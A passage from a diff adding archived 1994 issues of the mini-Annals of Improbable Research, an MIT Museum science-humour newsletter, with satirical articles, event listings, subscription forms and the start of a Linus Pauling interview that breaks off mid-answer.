ISLAND date TBA + +"CRAZY AFTER CALCULUS" ongoing +An ongoing exhibition of extraordinary humor at MIT from +prehistoric times through the presen. [NOTE: The police car that +recently materialized atop MIT's Great Dome is now in storage at +The MIT Museum.] + The MIT Museum + 265 Massachusetts Avenue, Cambridge, MA 02139 USA + (617) 253-4422 (ktl@mitvma.mit.edu) + +1994 IG NOBEL PRIZE CEREMONY Thurs., October 6 +Kresge Auditorium,MIT, Cambridge, Massachusetts. +You are cordially invited to attend. + +INTERSOCIETY POLYMER SOCIETY Mon., October 10 +Stouffer Harborplace Hotel, Baltimore, MD +For info call (518) 387-7942 + +GODDARD SPACE CENTER, Greenbelt, MD date TBA + +MENSA CONVENTION, Chicago, IL Sat., Oct. 29 +For info call Dianne Miller, (708) 747-5651 + +*** + +In honor (?) of the new book, "Sex As a Heap of Malfunctioning +Rubble," (see below) the books's editor and many of its other +authors are barnstorming North America, doing readings/slide shows +and presenting current trends in improbable research. + +Stops on this first leg of the tour included: +POWELL'S TECHNICAL BOOKS, Portland, OR; +UNIV. OF PORTLAND; MICROSOFT, Redmond, WA; UNIV. of WASHINGTON, +Seattle; UC BERKELEY; 3DO, Redwood City, CA; +"WEST COAST LIVE" (NPR); U CHICAGO; NORTHERN ILLINOIS U; +SCI-FI MINICON, Bloomington, MN; BROOKHAVEN NAT'L LAB; +COLUMBIA PRSBYTERIAN MEDICAL CTR; NEW YORK MENSA CLUB; +CORNELL U. MEDICAL CENTER; BRYN MAWR COLLEGE; FRANKLIN INSTITUTE, +Philadelphia; ARMY RESEARCH FORUM, Alexandria, VA; +ENVIRONMENTAL PROTECTION AGENCY, Washington, DC; +CONGRESSIONAL OFFICE OF TECHNOLOGY ASSESSMENT, Washington, DC; +LIBRARY OF CONGRESS, Washington, DC; MARY WASHINGTON COLLEGE, +Fredricksburg, VA; NAVY RESEARCH LAB, Washington DC; +NATIONAL INSTITUTES OF HEALTH, Bethesda, MD; HORN POINT +ENVIRONMENTAL LAB, Cambridge, MD; TECHNICON SCI-FI CONVENTION, +VIRGINIA TECH, Blacksburg, VA; CEBAF NATIONAL LAB; U CINCINNATI; +AMERICAN CHEMICAL SOCIETY, Cincinatti, OH; OHIO STATE U; +CORNELL UNIVERSITY; MIT ALUMNI CLUB of NEW HAMPSHIRE + +::::: THE NEXT LEGS: Invite us to your place!! +Other events are being organized now. +If you would like to be a host/instigator for an Improbable +Science Event for 50 or more people at your city, university, +hospital, research center, high school, book store, etc., ASAP +please contact the editor . + + +------------------------------------------ +1994-02-09 Calls for Papers + +CALL FOR SLIDES AND X-RAYS that show unexpected shapes (swans, +chickens, elephants, the Eiffel Tower, dogs, fish, smiley faces, +ships, trains, Bart Simpson, Margaret Thatcher, etc., etc.). The +most outstanding of these will appear on the cover of AIR. + +CALL FOR PAPERS on the topic: "The nutritional value of comets." +The chemical composition of comets has been studied extensively. +Though incomplete, enough data exists to make possible a +preliminary nutritional analysis of comets. Please base your +research report on actual existing data, not on speculation. + +CALL FOR DATA for AIR's "Project Um." +Project Um is a massive ongoing, comprehensive, international +survey of how often university and high school lecturers use the +word "um" (or its equivalent in other languages). We are +accepting data ONLY for lectures that are of standard academic +drone length (50-60 minutes). If your data concern several +different lectures, please list the data separately for each +lecture. +Data should be submitted concisely in the following format: + Name and city of institution + Name of lecturer + General subject of the lecture (e.g., physics,history,etc.) + Number of times the lecturer spoke the word "um." + +CALL FOR NOMINATIONS for the 1994 Ig Nobel Prizes. Ig Nobel Prizes +are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. + + +****************************************************************** +1994-02-10 Purpose of mini-AIR (*) + +The mini-Annals of Improbable Research (mini-AIR) publishes news +about improbable research and ideas. Specifically: + +A) Haphazardly selected superficial (but advanced!) extracts of +research news and satire from the Annals of Improbable Research +(AIR). + +B) News about the annual Ig Nobel Prize ceremony. Ig Nobel Prizes +honor "achievements that cannot or should not be reproduced." A +public ceremony is held at MIT, in Cambridge Massachusetts, every +October. The ceremony is sponsored jointly by The MIT Museum and +AIR. + +C) News about other science humor activities intentional and +otherwise. + +WHAT IS AIR? (An introduction, of sorts) +AIR is a new magazine produced by the entire former editorial +staff of "The Journal of Irreproducible Results (JIR)," the +world's oldest satirical science journal. The new magazine's co- +founders are Marc Abrahams, who edited JIR from 1990-1994, and +Alexander Kohn, who founded JIR in 1955 and was its editor until +1989. AIR is published at the MIT Museum in Cambridge, MA. +The new magazine's editorial board consists of more than 40 +distinguished scientists from around the world, including, among +others, seven Nobel prizewinners and Marilyn Vos Savant (who is +listed in the Guinness Book of World Records Hall of Fame for +"Highest IQ"). Every October, AIR and the MIT Museum together +produce the Ig Nobel Prize Ceremony, honoring people whose +achievements cannot or should not be reproduced. + +Readers who are curious about why the entire staff felt compelled +to leave the old magazine and start AIR may wish to consult the +June 9 issue of the research journal "Nature." + +---------------------------------------- +1994-02-11 How to Submit Articles (*) + +AIR publishes original articles, data, effluvia and news of +improbable scientific research. The material is intended to be +humorous and/or educational, and sometimes is. We look forward to +receiving your manuscripts, photographs, X-rays, drawings, etc. +Please do not send biological samples. Photos should be black & +white if possible. Reports of research RESULTS, modest or +otherwise, are preferred to speculative proposals. + +Articles are typically 500-2000 words in length. +Articles exclusively for mini-AIR should be much shorter. +Please send two neatly printed copies. +Alternatively, you may submit via e-mail, in ASCII format. + +Because of the volume of submissions, we are unable to acknowledge +receipt of printed manuscripts unless they are accompanied by a +SELF-ADDRESSED, ADEQUATELY STAMPED ENVELOPE. + + +--------------------------- +1994-02-12 How to Subscribe / How to Get Back Issues (*) + +::::: The Annals of Improbable Research (AIR) + +AIR is an indispensable print publication that will appear six +times per year. We will publish subscription info in future issues +of mini-AIR. +To obtain subscription info as soon as it becomes available, +please mail a SASE to the address given below. + + +::::: The mini-Annals of Improbable Research (mini-AIR) + +mini-AIR is an electronic publication, available over the +Internet, free of charge. It is distributed as a LISTSERV +application. We publish approximately 12 issues per year. +To subscribe, send a brief E-mail message to either of these +addresses: + LISTSERV@MITVMA.MIT.EDU or LISTSERV@MITVMA +The body of your message should contain ONLY the words "SUBSCRIBE +MINI-AIR" followed by your name. +Here are two examples: + SUBSCRIBE MINI-AIR Irene Curie Joliot + SUBSCRIBE MINI-AIR Nicholai Lobachevsky +To stop subscribing, +send the following message to the same address: + SIGNOFF MINI-AIR +To obtain a list of back issues, +send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00001,send this message: + GET MINI-AIR 94-00001 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: Books + +"Sex As a Heap of Malfunctioning Rubble (and further +improbabilities): More of the Best of The Journal of +Irreproducible Results," Marc Abrahams, editor. +A collection of dangerously potent science humor, much of it +written by the people who have now founded AIR. With riveting +photos, x-rays and eye charts. +Workman Publishing, New York, 1993. ISBN 1-56305-312-8 $14 + +"The Journal of the Institute for Hacks, TomFoolery, and Pranks at +MIT," by Brian Leibowitz. +A complete history, lavishly illustrated with inspirational +photos, of the world's leading institute for elegantly conceived, +engineered, and connived collegiate practical joking. +The MIT Museum, Cambridge, 1988. ISBN-0-917027-03-5 $24 + +Both books are available from the MIT Museum. The prices quoted +here include shipping/handling to any destination at or above sea +level. For expedited Air Mail Service to locations outside the US, +add $12 to the order. Otherwise, we'll ship book rate. These books +can also be found in many libraries and bookstores. + +--------------------------- +1994-02-13 AIR's Mailing and Internet Addresses + +Our mailing address: + + The Annals of Improbable Research (AIR) + The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + (617) 253-4462 fax: (617)253-8994 + + The editor can also be reached at: (617) 491-4437 + + PLEASE include your Internet address + in all printed correspondence. + +Our Internet addresses: + + Editorial matters: air@mit.edu + Ig Nobel matters: ig@mit.edu + +--------------------------- +1994-02-14 Please DO make copies! (*) + +You have permission to distribute copies of mini-AIR or excerpts +from it. The only limitations are: +A) Please indicate that the material appeared in mini-AIR and is +reprinted with permission. +B) You do NOT have permission to copy or excerpt this document for +commercial purposes. + ---------------- +(c) copyright 1994, The Annals of Improbable Research + ---------------- +The mini-Annals of Improbable Research (mini-AIR) + Editor: Marc Abrahams (marca@mit.edu) + Chairman of the Editorial Board: Alexander Kohn + Lame Duck Technical Brains: Marilyn Geller (mgeller@mit.edu) + Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick + Museum Exhibits Coordinator: Diego Garcia + +================================================================== + ************************************************************ + IMPORTANT + The Annals of Improbable Research is IN NO WAY associated + with the name "The Journal of Irreproducible Results" + or with the publisher of "The Journal of Irreproducible + Results" + ************************************************************ diff --git a/textfiles.com/magazines/MINIAIR/mair9403.txt b/textfiles.com/magazines/MINIAIR/mair9403.txt new file mode 100644 index 00000000..dd096829 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair9403.txt @@ -0,0 +1,566 @@ +============================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1994-03 +July, 1994 +ISSN 1076-500X +Key words:science humor,Improbable Research,Ig Nobel +------------------------------------------------------------ +The mini-journal of inflated research and personalities. +Published by The Annals of Improbable Research (AIR) +at The MIT Museum +============================================================ + +----------------------------- +1994-03-01 TABLE OF CONTENTS + +1994-03-01 Table of Contents +1994-03-02 News: Yes Indeed! Curiousity, Kilt, the, CAT +1994-03-03 Additional, Unreported Dangers from Mexican food +1994-03-04 International Sweetness Ages +1994-03-05 Specimen of the Month +1994-03-06 May We Recommend... +1994-03-07 Upcoming Events +1994-03-08 Calls for Papers +1994-03-09 Purpose of mini-AIR (*) +1994-03-10 How to Submit Articles (*) +1994-03-11 How to Subscribe to AIR(*) +1994-03-12 How to Receive to mini-AIR, etc.(*) +1994-03-13 AIR's Mailing and Internet Addresses (*) +1994-03-14 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1994-03-02 News: AIR, Curiousity, Kilt, the, CAT + +1. Yes Indeed! +We are very pleased to announce: +You can now become a charter subcriber (whatever that means) to +The Annals of Improbable Research (AIR). The magazine will appear +on your doorstep 6 times per year. For details, see section 1994- +03-11 below. PLEASE SPREAD THE WORD!!!!!! + +2. Curiousity +We AIRheads continue to receive queries from former readers of The +Journal of Irreproducible Results (JIR) hungry for details of why +the entire staff (1955-1994) of JIR felt it necessary to resign +from that publication and create The Annals of Improbable Research +(AIR). The matter is explained in news reports in The Scientist +(July 11), Science (June 24) and Nature (June 9). Details can +also be obtained by emailing a request to air@mit.edu. + +3. Kilt +Would the Scottish reader who mailed a kilt to the AIR editorial +office please inform us of your address? We are otherwise unable +to send you a letter acknowledging that the contribution is tax- +deductible. + +3. the +Effective with this issue of mini-AIR, we must discontinue our +popular data feature "The 'The' Count." "The 'The' Count" +reported how many times during the previous month the the word +"the" appeared in major metropolitan newspapers in 162 cities. If +and when Internet sites in Asia and Australia agree not to censor +the data, we will resume publishing the column. + +4. CAT +The winner of the CAT scanner lottery is Norman F. Lee of Hong +Kong. Second prize, a wooden tongue depressor, was won by Traian +Mihaescu of Iasi, Romania. + + +---------------------------------------------- +1994-03-04 Additional, Unreported Dangers from Mexican food + +by Steve Mirsky +New York City + +The recent report from CSIPI [1] on the high fat and salt content +of Mexican food, though long overdue, still neglects to +implicate the myriad other health dangers consumers face when +dining in Mexican restaurants. + +The plates upon which Mexican food is traditionally served +can be very, very hot, indeed approaching the "yip yip woo +hatcha" stage. Contact between said plates and human skin +can result in tissue damage followed by vigorous hand waving +and blowing that in turn can cause hyperventilation. + +A little-discussed danger of Mexican dining is the finite +probability of encounters with roving Mariachia bands. A +condition known as Castanet Culjone, though rare, is +particularly painful and debilitating. In addition, the +small mobile orchestras are exceptionally annoying, which can +lower the immune response. + +Finally, there is the much observed but little discussed +"twice-burned" phenomenon, consistent with the relative +indigestibility of certain key ingredients of Mexican food +that register particularly high on the Scoville Organoleptic +Test (the official scale of hotness)[2]. At least one Navy test +has shown that window cleaning fluid, especially if it +contains ammonia, can be an effective topical neutralizing +solution for SOEYYWH (Sudden Onset Egress Yip Yip Woo +Hatcha)[3]. + + +REFERENCES + +1. The Center for Science in the Public Interest + +2. "Peppers," by Amal Naj, Vintage Books, 1992, p. 25. + +3. Personal communication to the author. A Naval Academy graduate +reports that his roommate at Annapolis used to spray his (the +roommate's own) anal region with Windex after a spicy meal. + + +------------------------------------------------------------ +1994-03-04 International Sweetness Ages + +by Susan Andersen, Lennox University, London, U.K., and Bernadette +Highwood, University of Massachusetts, Amherst, Massachusetts + +In virtually every culture, people who have generous, kind +dispositions are described as being "sweet." However, this term +is usually reserved (by other adults) for individuals who have +reached a certain age. We conducted a cross-national study[1] to +determine how "the minimum age of adult sweetness" varies from +country to country. Our results our presented below.[2] + +Country Age (Number of people surveyed) +======= === ========================= +Argentina 51 5 +Australia 64 550 +Austria 58 69 +Belgium 57 57 +Brazil 56 179 +Bulgaria[2] 90 1 +Canada 58 867 +Columbia 59 2 +Costa Rica 58 2 +Croatia[2] 114 1 +Denmark 59 59 +Ecuador[2] 3 1 +Estonia 63 7 +Fiji[2] 98 1 +Finland 67 85 +France 14 89 +Germany 84 357 +Great Britain 64 1222 +Greece 58 12 +Hongkong 51 17 +Hungary 59 4 +Iceland 66 7 +India 50 27 +Ireland 60 41 +Israel 75 124 +Italy 55 60 +Japan 62 41 +Korea 58 3 +Kuwait[2] 206 1 +Malaysia 54 6 +Mexico 59 14 +Netherlands 50 178 +New Zealand 64 103 +Norway 62 80 +Peru 50 2 +Poland 67 12 +Portugal 58 29 +Romania[2] 714 1 +Russia[2] 4 1 +Saint Lucia[2] 1 1 +Saudi-Arabia[2] 91 1 +Singapore 58 27 +Slovenia 69 2 +South Africa 50 75 +Spain 48 33 +Sweden 48 143 +Switzerland 69 94 +Taiwan 61 10 +Thailand 54 10 +Turkey 58 10 +USA 68 12934 + + +NOTES + +1. Due to space limitations,we cannot list here the many national +agencies that helped us carry out the survey. We gratefully +acknowledge their assistance. + +2. Data may not be reliable for countries that reported fewer than +two responses to the survey question. + +----------------------------------------------------------- +1994-04-05 Specimen of the Month + +Taxonomic and analytical text prepared by Emmert Lowery, Jr. +This item is on exhibit at The MIT Museum. + +ITEM #786-4591-089 Ferdie The Cow + +This fiberglass bovine, measuring eight feet in length from tail +to snout and four feet tall at the shoulders, appeared on the +morning of October 31, 1979 perched atop MIT's 150 feet tall +Great Dome. The previous night Ferdi had been, "liberated" from +its home in the Hilltop Steak House in Saugus, Massachusetts, by +an unidentified group of MIT students. Ferdi's visit to the Great +Dome attracted wide media coverage, and the Hilltop management +took it in good stride, displaying Ferdi with mortar board and +diploma after its return home. + +Ferdi returned to MIT in 1990, as part of the MIT Museum's exhibit +on science humor. Since then she has served both as exhibit +artifact and landmark. "Take a right at the cow," has become a +standard instruction to visitors. + + +----------------------------------------------------------- +1994-03-06 May We Recommend... + +Research reports that merit a trip to the library: + +"Identification of Gourmet Meat Using FINS (Forensically +Informative Nucleotide Sequencing)," by Alistair Raymond Russel +Forrest and Patrick Robert Carnegie., "Biotechniqes," 1994, vol. +17, no 1, pp. 24-26. The report reads in part: +"To protect both producers and consumers from illegal substitution +of cheaper meats for expensive meats, it is necessary to have +tests available that are effective with both cooked and processed +meats.... This high cost of development cannot be justified for +gourmet meats, such as emu, crocodile, and buffalo... As an +example of the application of the improved FINS technique, a +sample of an emu shish kebab ordered at a local restaurant was +analyzed..." It was found that the "emu" shish kebab was actually +buffalo shish keb. (Thanks to Gene Cutler for bringing this to +our attention.) + +"An Automated Feeding and Testing Device for Elephants," by +Charles W. Hyatt, Andy T. Richardson, Bruce W. Copeland, John R. +Lehnhardt, "IEEE Transactions on Instrumentation and Measurement," +Vol. 43, No. 1, February 1994, pp 100-101. The abstract reads: +"An automated feeding and testing device was developed to provide +behavioral enrichment and research instrumentation for the +elephants at the National Zoological Park/Smithsonian Institution +in Washington, DC." (Thanks to Steve Goldstein for bringiing this +to our attention. Goldstein points out that this device may be +the world's biggest touchpad keyboard.) + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1994-03-07 Upcoming Events + + +MIT ALUMNI/AE CLUB OF LONG ISLAND date TBA + +U RHODE ISLAND, Kingston Sept 30, 3 pm + Pastore Hall Auditorium (Chemistry Dept.) + Spons. by URI Sigma Xi and URI Dept. of Chemistry + For info: Prof. Louis J. Kirschenbaum + kirschenbaum@chm.uri.edu 401-792-2340 + +1994 IG NOBEL PRIZE CEREMONY Thurs., October 6 +Kresge Auditorium,MIT, Cambridge, Massachusetts. +You are cordially invited to attend. + +"CRAZY AFTER CALCULUS" ongoing +An ongoing exhibition of extraordinary humor at MIT from +prehistoric times through the presen. [NOTE: The police car that +recently materialized atop MIT's Great Dome is now in storage at +The MIT Museum.] + The MIT Museum + 265 Massachusetts Avenue, Cambridge, MA 02139 USA + (617) 253-4422 (ktl@mitvma.mit.edu) + +GODDARD SPACE CENTER, Greenbelt, MD Oct 28 +details TBA + +MENSA CONVENTION, Chicago, IL Sat., Oct. 29 +For info call Dianne Miller, (708) 747-5651 + +INTERSOCIETY POLYMER SOCIETY Mon., October 10, 1995 +Stouffer Harborplace Hotel, Baltimore, MD +The society recommends early reservations. Info: (518) 387-7942 + +*** + +In honor (?) of the new book, "Sex As a Heap of Malfunctioning +Rubble," (see below) the books's editor and many of its other +authors are barnstorming North America, doing readings/slide shows +and presenting current trends in improbable research. + +Stops on this first leg of the tour included: +POWELL'S TECHNICAL BOOKS, Portland, OR; +UNIV. OF PORTLAND; MICROSOFT, Redmond, WA; UNIV. of WASHINGTON, +Seattle; UC BERKELEY; 3DO, Redwood City, CA; +"WEST COAST LIVE" (NPR); U CHICAGO; NORTHERN ILLINOIS U; +SCI-FI MINICON, Bloomington, MN; BROOKHAVEN NAT'L LAB; +COLUMBIA PRSBYTERIAN MEDICAL CTR; NEW YORK MENSA CLUB; +CORNELL U. MEDICAL CENTER; BRYN MAWR COLLEGE; FRANKLIN INSTITUTE, +Philadelphia; ARMY RESEARCH FORUM, Alexandria, VA; +ENVIRONMENTAL PROTECTION AGENCY, Washington, DC; +CONGRESSIONAL OFFICE OF TECHNOLOGY ASSESSMENT, Washington, DC; +LIBRARY OF CONGRESS, Washington, DC; MARY WASHINGTON COLLEGE, +Fredricksburg, VA; NAVY RESEARCH LAB, Washington DC; +NATIONAL INSTITUTES OF HEALTH, Bethesda, MD; HORN POINT +ENVIRONMENTAL LAB, Cambridge, MD; TECHNICON SCI-FI CONVENTION, +VIRGINIA TECH, Blacksburg, VA; CEBAF NATIONAL LAB; U CINCINNATI; +AMERICAN CHEMICAL SOCIETY, Cincinatti, OH; OHIO STATE U; +CORNELL UNIVERSITY; MIT ALUMNI CLUB of NEW HAMPSHIRE + +::::: THE NEXT LEGS: Invite us to your place!! +Other events are being organized now. +If you would like to be a host/instigator for an Improbable +Science Event for 50 or more people at your city, university, +hospital, research center, high school, book store, etc., ASAP +please contact the editor . + + +------------------------------------------ +1994-03-08 Calls for Papers + +CALL FOR PAPERS on the topic: "A Knot Theorist's Analysis of City +Street Maps." We are seeking a series of cross-disciplinary +reports in which the mathematics of knot theory is used to analyze +the city street maps of Tokyo, London, Buenos Aires and other +complex cities. Please include maps and relevant diagrams. + +CALL FOR SLIDES AND X-RAYS that show unexpected shapes (swans, +chickens, elephants, the Eiffel Tower, dogs, fish, smiley faces, +ships, trains, Bart Simpson, Margaret Thatcher, etc., etc.). The +most outstanding of these will appear on the cover of AIR. + +CALL FOR NOMINATIONS for the 1994 Ig Nobel Prizes. Ig Nobel Prizes +are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. + + +****************************************************************** +1994-03-9 Purpose of mini-AIR (*) + +The mini-Annals of Improbable Research (mini-AIR) publishes news +about improbable research and ideas. Specifically: + +A) Haphazardly selected superficial (but advanced!) extracts of +research news and satire from The Annals of Improbable Research. + +B) News about the annual Ig Nobel Prize ceremony. + +C) News about other science humor activities intentional and +otherwise. + +WHAT IS AIR? (An introduction, of sorts) +AIR is a new magazine produced by the entire former editorial +staff (1955-1994) of "The Journal of Irreproducible Results +(JIR)," the world's oldest satirical science journal. The new +magazine's co-founders are Marc Abrahams, who edited JIR from +1990-1994, and Alexander Kohn, who founded JIR in 1955 and was its +editor until 1989. AIR is published at the MIT Museum in +Cambridge, MA. AIR's editorial board consists of more than 40 +distinguished scientists from around the world including seven +Nobel Laureates. Every October, AIR and the MIT Museum produce the +Ig Nobel Prize Ceremony, honoring people whose achievements cannot +or should not be reproduced. + + +---------------------------------------- +1994-03-10 How to Submit Articles (*) + +The Annals of Improbable Research (AIR) publishes original +articles, data, effluvia and news of improbable research. The +material is intended to be humorous and/or educational, and +sometimes is. We look forward to receiving your manuscripts, +photographs, X-rays, drawings, etc. Please do not send biological +samples. Photos should be black & white if possible. Reports of +research RESULTS, modest or otherwise, are preferred to +speculative proposals. + +Articles are typically 500-2000 words in length. +Articles intended for mini-AIR should be much shorter. +Please send two neatly printed copies. +Alternatively, you may submit via e-mail, in ASCII format. + +Because of the volume of submissions, we are unable to acknowledge +receipt of printed manuscripts unless they are accompanied by a +SELF-ADDRESSED, ADEQUATELY STAMPED ENVELOPE. + + +--------------------------- +1994-03-11 How to Subscribe to AIR(*) + +The first issue of AIR will appear in late autumn. A large number +of subscribers would make it possible to accelerate the schedule, +so please pass the word to anyone else who might like to +subscribe! + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone (voice): FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: air-subs@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + =========================================================== + =========================================================== + +--------------------------- +1994-03-12 How to Receive to mini-AIR, etc.(*) + +mini-AIR is an electronic publication, available over the +Internet, free of charge. It is distributed as a LISTSERV +application. We publish approximately 12 issues per year. +To subscribe, send a brief E-mail message to either of these +addresses: + LISTSERV@MITVMA.MIT.EDU or LISTSERV@MITVMA +The body of your message should contain ONLY the words "SUBSCRIBE +MINI-AIR" followed by your name. +Here are two examples: + SUBSCRIBE MINI-AIR Irene Curie Joliot + SUBSCRIBE MINI-AIR Nicholai Lobachevsky +To stop subscribing, +send the following message to the same address: + SIGNOFF MINI-AIR +To obtain a list of back issues, +send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00001,send this message: + GET MINI-AIR 94-00001 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: AIR extracts are on USENET + +The USENET news group clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. The material presented there is different +from what appears here in mini-AIR. +[Please note: The news group is available to you if and only if +your Internet site subscribes to the Clarinet newsgroups.] + + +::::: Books + +"Sex As a Heap of Malfunctioning Rubble (and further +improbabilities): More of the Best of The Journal of +Irreproducible Results," Marc Abrahams, editor. +A collection of dangerously potent science humor, much of it +written by the people who have now founded AIR. With riveting +photos, x-rays and eye charts. +Workman Publishing, New York, 1993. ISBN 1-56305-312-8 $14 + +"The Journal of the Institute for Hacks, TomFoolery, and Pranks at +MIT," by Brian Leibowitz. +A complete history, lavishly illustrated with inspirational +photos, of the world's leading institute for elegantly conceived, +engineered, and connived collegiate practical joking. +The MIT Museum, Cambridge, 1988. ISBN-0-917027-03-5 $24 + +Both books are available from the MIT Museum. The prices quoted +here include shipping/handling to any destination at or above sea +level. For expedited Air Mail Service to locations outside the US, +add $12 to the order. Otherwise, we'll ship book rate. These books +can also be found in many libraries and bookstores. + +--------------------------- +1994-03-13 AIR's Mailing and Internet Addresses + +Our mailing address: + + The Annals of Improbable Research (AIR) + The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + (617) 253-4462 fax: (617)253-8994 + + Editorial matters: (617) 253-8329 + + PLEASE include your Internet address + in all printed correspondence. + +Our Internet addresses: + + Editorial matters: air@mit.edu + Ig Nobel matters: ig@mit.edu + +--------------------------- +1994-03-14 Please DO make copies! (*) + +You have permission to distribute copies of mini-AIR or excerpts +from it. The only limitations are: +A) Please indicate that the material appeared in mini-AIR and is +reprinted with permission. +B) You do NOT have permission to copy or excerpt this document for +commercial purposes. + + ------------------------------------------------------------ + (c) copyright 1994, The Annals of Improbable Research + ------------------------------------------------------------ + The mini-Annals of Improbable Research (mini-AIR) + Editor: Marc Abrahams (marca@mit.edu) + Chairman of the Editorial Board: Alexander Kohn + Tech Support: Christopher Small (chris@das.harvard.edu) + Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick + Museum Exhibits Coordinator: Diego Garcia + Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MINIAIR/mair9404.txt b/textfiles.com/magazines/MINIAIR/mair9404.txt new file mode 100644 index 00000000..fead6818 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair9404.txt @@ -0,0 +1,583 @@ +============================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1994-04 +August, 1994 +ISSN 1076-500X +Key words:science humor,improbable research,Ig Nobel +------------------------------------------------------------ +The mini-journal of inflated research and personalities +published by The Annals of Improbable Research (AIR) +at The MIT Museum +============================================================ + +----------------------------- +1994-04-01 TABLE OF CONTENTS + +1994-04-01 Table of Contents +1994-04-02 News: Mysterious JSTEW, AIRhead for a day; etc. +1994-04-03 Interview with Linus Pauling +1994-04-04 AIRhead Project 2000: preliminary results +1994-04-05 Specimen of the Month +1994-04-06 May We Recommend... +1994-04-07 Upcoming Events +1994-04-08 Calls for Papers +1994-04-09 Purpose of mini-AIR (*) +1994-04-10 How to Submit Articles (*) +1994-04-11 How to Subscribe to AIR(*) +1994-04-12 How to Receive to mini-AIR, etc.(*) +1994-04-13 AIR's Mailing and Internet Addresses (*) +1994-04-14 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1994-04-02 News: Mysterious JSTEW, AIRhead for a day; etc. + +1. About that flood... +If you received six or so copies of the previous mini-AIR issue, +you are not alone. The problem, as many of you pointed out, was +caused by the LISTSERV distribution site at alaska.edu. We +apologize for the trouble this caused. Steps have been taken to +try to prevent this kind of problem from happening again. Among +other actions, we have ruthlessly, doggedly sought out and +eliminated the mysterious JSTEW whose name appeared on each of the +more than 120,000 spurious messages that the alaska.edu site sent +spewing into e-mailboxes hither, yon, and elsewhere. + [Much of our incoming e-mail was lost during the flood. + If you sent us mail and have received no reply, + kindly try again, if you have the stomach for it. + --the (incompetent) mgmt.] + +2. Inflate yourself. +Would you like to be an AIRhead for a Day? +We have prepared an attractively appalling flyer that describes +AIR. We need your help in handing out or posting it at research +conferences, academic meetings, on campuses, and in libraries, and +rest room stalls. If you would like to help, please email us at +air@mit.edu + +3. Ig Tickets. +Tickets for this year's Ig Nobel Prize Ceremony go on sale on +Thursday, September 15. For details, see section 1994-04-07 below. + +4. Get behind in your reading. +We are very pleased to announce that the first print issue of The +Annals of Improbable Research (AIR) will be published in December. +A subscription form appears in section 1994-04-11, or thereabouts, +we think, maybe. + + +---------------------------------------------- +1994-04-04 Interview with Linus Pauling + +by Marc Abrahams + +Linus Pauling, perhaps the most distinguished member of the AIR +editorial board, passed away this month. Pauling is widely +regarded as one of the giants in the history of science. He has +been called the father of modern chemistry, and his pioneering +inquiries have ranged wide and far in the disciplines of biology, +physics and medicine. Linus Pauling was the only person who +received two undivided Nobel Prizes. In 1954 he was given the +Nobel prize for chemistry for his work on the nature of the +chemical bond and its application to the structure of complex +substances. In 1962 he was awarded the Nobel peace prize for his +efforts to bring about the treaty banning tests of atomic +explosives in the atmosphere. This interview took place last year. + + +Q. To what extent did your schooling interfere with your +education? + +I don't think it interfered at all. I think I was fortunate going +to public schools in eastern Oregon and then in Portland. They +were excellent schools, grammar school and high school. + +Q. To what extent did you interfere with your education? + +Very little. Only one episode that I remember. After I'd been in +high school for three years and a half, having started in February +- mid-year, you see - I realized that I could go on to Oregon +Agricultural College if I graduated at the end of the term. There +was a requirement that to graduate high school the student needed +to have two terms of American history. I was always interested in +history, so I signed up for American History A and American +History B. The teacher who was registering said I had to get the +permission of the principal. I went to the principal, and he said, +"No," so I turned around and went out and changed the two terms of +American history to seventh semester mathematics and eighth +semester mathematics - trigonometry was one of them, and advanced +algebra - changed my schedule and didn't get a high school +diploma. So I interfered with the system to that extent. Then +twenty-five years later, perhaps, I was given an honorary high +school diploma by petition of the high school students. + +Q. What is the most intriguing experiment someone might do +regarding human nature? + +I don't think I could answer such a question without thinking +awhile. I have tried to. + +Q. Do you have any advice for young people who are entering the +field? + +Well, I have advice for young people in general. That's a guestion +I get asked reasonably often. I say you should look around +carefully at the members of the opposite sex, and pick one out +that you'd like to be with all your life. Get married young, and +stay married. Then second, I say try to decide what you like to do +best - what you enjoy doing - and then check up and see if it's +possible for 